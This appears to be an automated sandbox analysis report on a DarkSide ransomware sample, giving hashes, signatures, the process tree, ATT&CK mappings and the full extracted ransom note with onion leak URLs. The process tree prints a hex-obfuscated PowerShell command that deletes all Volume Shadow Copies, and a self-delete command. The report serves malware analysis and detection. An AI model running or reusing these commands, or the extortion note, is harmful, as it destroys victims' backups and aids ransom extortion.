Analysis

  • max time kernel
    151s
  • max time network
    162s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-03-2024 04:49

General

  • Target

    ransomwares/Darkside/Darkside.exe

  • Size

    59KB

  • MD5

    cfcfb68901ffe513e9f0d76b17d02f96

  • SHA1

    766b30e5a37d1bc8d8fe5c7cacc314504a44ac1f

  • SHA256

    17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61

  • SHA512

    0d26fa9478f4626107e38c570d1bae1049b744181cf0395d95fb07675575ca393d88d4783bf31bdf11bef1da5648a5a53a6d95b21492f96b4de35c0ec323ae0c

  • SSDEEP

    768:9jjV7Iax7F3DS4/S96/P3rsAc4ci5pwwX5+R4VYY23W5:vx7Fu4/i6/P3rlckx5+R4VDZ5

Malware Config

Extracted

Path

C:\Users\README.5ff7632a.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 90 GB data. These files include: Finance data Insurance data Buchgalting Data Banking data and details, bank contracts, creditors info Much personal data Marketing data Production, Technik data Email conversations dump and more others. All documents are fresh (last 365 days) and stored on our offline servers. All data will be published piece by piece. First data pack will be published in 7 days if we do not come for agreement. Your personal leak page: http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF On the page you will find examples of files that have been stolen. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH When you open our website, put the following data in the input form: Key: rIzr2nCuqbQL7MGMwoppaucqSp5AZufUiYhssYa1SGfO0XFf09fBDlLDWgKQSnnvIAfqYTsOgUhOTxzbxGsC9nH0yk2HOFhn7t8ntX8L0evyce8vKdgUKF7Xvjn6ljaQQ4HPEfPZFP2jvN0DgBVWl2WgNT1U3owZ1bNBjps34t33ObZc01Ce1yKx5CSlwUYbw1ktjqt5d7R9DwRL3NIGrTHvMX3qXI5aBAUnirnc4zHtfGPXq4CuFoh04Tv7VE81aohfvuz8D7wo7i28sbILoJyF6mzeQwSkAXolOhXKQAEPsGcdbfLxfY5uILkHB3d1gAyxT1owQXsY4heNQbY3yYL1Em7dDaLdbNhOf0adYWFiFfAl9EwLDRT96L9Xzsk17ho1B82wOWZ79ZqtT8yqnZ4APJb1LO91ASSsgUdNvR0lAaZTfXHHxUI1vDm5ygyV7cbxMlrQ5K1U6ughdd5WosogMJWVNjreirhzuDzY6SnixtukGYG0D9azzgOHcgidJcLV4n0orhzIaA1SMNYOpdOIadgBehCaHwEyr3hn8CEa6fgpUgK6E95 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/polifilm/AWeu5Sv7zTTCTjZD8YkgoPRznfE5r7G-vbsXok9EvfiaNL_eDwRlgRMruMHisnEF

http://darksidfqzcuhtk2.onion/2AHUVJ3VGS97NUG5J5EYMQM5PJO77V9V0GDT3UYIJGFZUTOQRLUX593CQ2EZ2ZEH

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (172) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ransomwares\Darkside\Darkside.exe
    "C:\Users\Admin\AppData\Local\Temp\ransomwares\Darkside\Darkside.exe"
    1⤵
    • Checks computer location settings
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\RANSOM~1\Darkside\Darkside.exe >> NUL
      2⤵
        PID:6064
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4092

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Unsecured Credentials

    1
    T1552

    Credentials In Files

    1
    T1552.001

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Collection

    Data from Local System

    1
    T1005

    Impact

    Defacement

    1
    T1491

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      3KB

      MD5

      556084f2c6d459c116a69d6fedcc4105

      SHA1

      633e89b9a1e77942d822d14de6708430a3944dbc

      SHA256

      88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

      SHA512

      0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      d336b18e0e02e045650ac4f24c7ecaa7

      SHA1

      87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

      SHA256

      87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

      SHA512

      e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_salgtwg4.rwx.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\README.5ff7632a.TXT
      Filesize

      3KB

      MD5

      b58e2411168bbdbec635cf4001635db0

      SHA1

      c130cd9caaaa514a6b98c1168e10d44a989d191a

      SHA256

      652a74736e10402013fae584c967fc5ea3b7c2eac0a436d41759963b3d42e37a

      SHA512

      87e2c3ecf3805a7b3945eed4472548a63cbaee7c004c3bce220524e1c6733b3eb780812b4d336f6b72a365c161c02e18b8101e405d00507ff902e88dd49ba30a

    • memory/4904-7-0x000001B2F2AB0000-0x000001B2F2AD2000-memory.dmp
      Filesize

      136KB

    • memory/4904-17-0x00007FFB82970000-0x00007FFB83431000-memory.dmp
      Filesize

      10.8MB

    • memory/4904-18-0x000001B2F2D00000-0x000001B2F2D10000-memory.dmp
      Filesize

      64KB

    • memory/4904-19-0x000001B2F2D00000-0x000001B2F2D10000-memory.dmp
      Filesize

      64KB

    • memory/4904-22-0x00007FFB82970000-0x00007FFB83431000-memory.dmp
      Filesize

      10.8MB